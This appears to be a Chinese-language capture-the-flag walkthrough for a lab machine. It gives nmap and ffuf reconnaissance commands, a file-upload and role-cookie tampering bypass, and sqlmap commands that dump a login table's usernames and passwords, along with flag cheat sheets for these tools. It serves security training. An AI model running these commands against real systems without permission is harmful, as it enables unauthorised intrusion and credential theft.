第一步局域网扫描
nmap -sn 192.168.52.0/24
锁定目标机器。接着继续使用namp扫描服务信息
nmap -sV -sC -A 192.168.52.200
nmap -sC <scirptfile> 192.168.xx //使用脚本进行扫描,耗时长
nmap -sV 192.168.xx //对端口上的服务程序版本进行扫描
nmap -A //强力扫描,耗时长
发现80端口,访问试试,发现网站
使用ffuf进行目录扫描
ffuf -u http://192.168.52.200/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .zip,.php,.html,.txt -mc 200 -s
ffuf 基础指令
• -u url地址
• -w 设置字典
• -c 将响应状态码用颜色区分,windows下无法实现该效果。
• -t 线程率,默认40
• -p 请求延时: 0.1、0.2s
• -ac 自动校准fuzz结果
• -H Header头,格式为 “Name: Value”
• -X HTTP method to use
• -d POST data
• -r 跟随重定向
• -recursion num 递归扫描
• -x 设置代理 http 或 socks5://127.0.0.1:8080
• -s 不打印附加信息,简洁输出
• -e 设置脚本语言 -e .asp,.php,.html,.txt等
• -o 输出文本
• -of 输出格式文件,支持html、json、md、csv、或者all
• -ic 忽略字典注释
• -s 静默模式,只打印结果
• -mc 200 过滤结果
扫描到了几个文件。
访问exploit.html,发现可以文件上传
上传文件发现被定向到了localhost
通过修改html值重新发送
提交拿到一串flag
继续排查,看网上教程,还扫描到了/enter_network/这个目录和/enter_network/admin.php文件
9.1.1这里有两种方式,简单的第一种,直接访问/enter_network/
role是base64+md5,解密得到admin
9.1.2访问/enter_network/admin.php,带上将 role改成admin,得到另外一般flag。
9.2.1这个地方也可以使用sqlmap破解数据库
/enter_network/看到输入表单,用sqlmap查一下post是否存在注入
sqlmap -u http://192.168.52.200/enter_network/ --form --random-agent -level=1 -dbs -batch
sqlmap小结:
SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列功能。测试的Payload共分为5级:Level 1 ~ Level 5,Level 1属于基础级,Payload相对较少,Level 5 Payload很多。
--forms sqlmap会自动从-u中的url获取页面中的表单进行测试。
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
--tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
--delay 设置多久访问一次
--os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level 设置注入探测等级 当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
--risk 风险等级 1-3 risk越高,越慢但是越安全
--identify-waf 检测防火墙类型
--param-del="分割符" 设置参数的分割符
--skip-urlencode 不进行url编码
--keep-alive 设置持久连接,加快探测速度
--null-connection 检索没有body响应的内容,多用于盲注
--thread 最大为10 设置多线程
--delay
--random-agent
--dbms 指定数据库
有些web服务器请求访问太过频繁可能会被防火墙拦截,使用--delay就可以设定两次http请求的延时
发现数据库Machine,继续爆破数据库表
qlmap -u http://192.168.52.200/enter_network/ --form --random-agent -level=1 -dbms MySql -D Machine -tables --batch
发现标login,继续爆破表列
sqlmap -u http://192.168.52.200/enter_network/ --form --random-agent -level=1 -dbms MySql -D Machine -T login -columns --batch
扫出了列,继续爆破内容:
sqlmap -u http://192.168.52.200/enter_network/ --form --random-agent -level=1 -dbms MySql -D Machine -T login -C username,password --dump --batch
顺利拿到flag。
主要工具
sqlmap的使用
ffuf的使用
nmap的使用